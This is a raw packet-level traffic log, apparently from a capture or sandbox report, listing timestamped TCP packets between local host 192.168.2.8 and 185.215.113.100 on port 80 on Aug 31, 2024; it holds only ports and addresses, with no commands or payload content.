Aug 31, 2024 22:05:28.625750065 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.625762939 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.625776052 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.625787020 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.625790119 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.625798941 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.625811100 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.625818014 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.625825882 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.625859022 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.625993013 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626106977 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626118898 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626130104 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626141071 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626147032 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626151085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626163006 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626173019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626173019 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626185894 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626189947 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626202106 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626233101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626262903 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626274109 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626292944 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626300097 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626303911 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626317024 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626326084 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626328945 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626341105 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626368046 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626383066 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626418114 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626427889 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626451015 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626471043 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626482964 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626493931 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626502991 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626530886 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626559973 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626574993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626600027 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626619101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626885891 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626898050 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626914978 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626935005 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626936913 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626952887 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626957893 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.626960039 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626971960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.626993895 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.627013922 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628371954 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628448009 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628458977 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628562927 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628572941 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628582954 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628593922 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628602982 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628616095 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628621101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628626108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628634930 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628652096 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628680944 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628729105 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628741026 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628751993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628762960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628773928 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628784895 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628787041 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628797054 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628809929 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.628813028 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628832102 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628846884 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.628997087 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629009008 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629026890 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629036903 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629040003 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629050016 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629053116 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629072905 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629096031 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629276991 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629287958 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629297972 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629308939 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629321098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629332066 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629353046 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629544020 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629555941 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629571915 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629584074 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629595041 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629595995 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629606962 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629609108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629621029 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629636049 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629662037 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629679918 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629690886 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629729033 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629878044 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629890919 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629900932 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629911900 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629924059 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629928112 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629940987 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629949093 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629951000 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629962921 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629977942 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.629981995 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629993916 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.629996061 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.630002975 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630013943 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630024910 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630029917 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.630036116 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630047083 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.630048037 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630058050 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630069017 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630073071 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.630081892 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630106926 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.630121946 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.630681038 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630682945 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630687952 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630693913 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630700111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630705118 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630717039 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630722046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630728960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630733967 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630748034 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.630884886 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.630884886 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.716933966 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.716944933 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.716962099 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.716968060 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.716981888 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.716989040 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717019081 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.717027903 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717035055 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717047930 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717086077 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.717087030 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.717142105 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717149019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717150927 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717155933 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717161894 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717173100 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717180967 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717200041 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.717232943 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.717919111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717925072 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717961073 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717967033 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.717973948 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718008995 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718043089 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718051910 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718058109 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718070984 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718076944 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718082905 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718089104 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718099117 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718100071 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718106985 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718111992 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718118906 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718138933 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718169928 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718199968 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718206882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718213081 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718219042 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718225956 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718261003 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718271971 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718322992 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718328953 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718334913 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718346119 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718352079 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718364000 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718370914 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718374014 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718377113 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718384027 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718389988 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718396902 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718405962 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718425989 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718435049 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718485117 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718497038 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718533039 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718648911 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718657017 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718668938 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718674898 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718678951 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718683958 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718697071 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718698978 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718702078 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718703985 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718705893 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718713045 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718718052 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718722105 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718724012 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718730927 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718750000 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718766928 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718779087 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718816042 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718825102 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718842030 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718849897 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718863010 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718872070 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718878984 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718883991 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718883991 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718890905 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718895912 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718902111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718907118 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718918085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718919039 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718924999 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718930960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718936920 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718949080 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718950033 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718964100 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.718975067 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.718998909 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719007969 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719176054 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719181061 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719187975 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719224930 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719330072 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719337940 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719343901 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719362020 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719377995 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719383955 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719386101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719389915 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719402075 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719405890 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719408989 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719418049 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719432116 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719434977 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719441891 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719448090 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719454050 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719463110 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719466925 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719474077 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719485044 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719491959 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719496965 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719504118 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719504118 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719512939 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719526052 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719532013 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719537973 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719538927 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.719566107 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.719574928 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803251982 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803261995 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803273916 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803327084 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803343058 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803354025 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803366899 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803373098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803380013 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803385019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803399086 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803405046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803405046 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803411961 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803417921 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803425074 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803433895 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803457975 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803515911 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803523064 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803541899 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803549051 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803581953 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803606033 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803663969 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803670883 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803677082 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803687096 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803694963 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803702116 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803714991 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:28.803714991 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803720951 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:28.803726912 CEST	80	49704	185.215.113.100	192.168.2.8
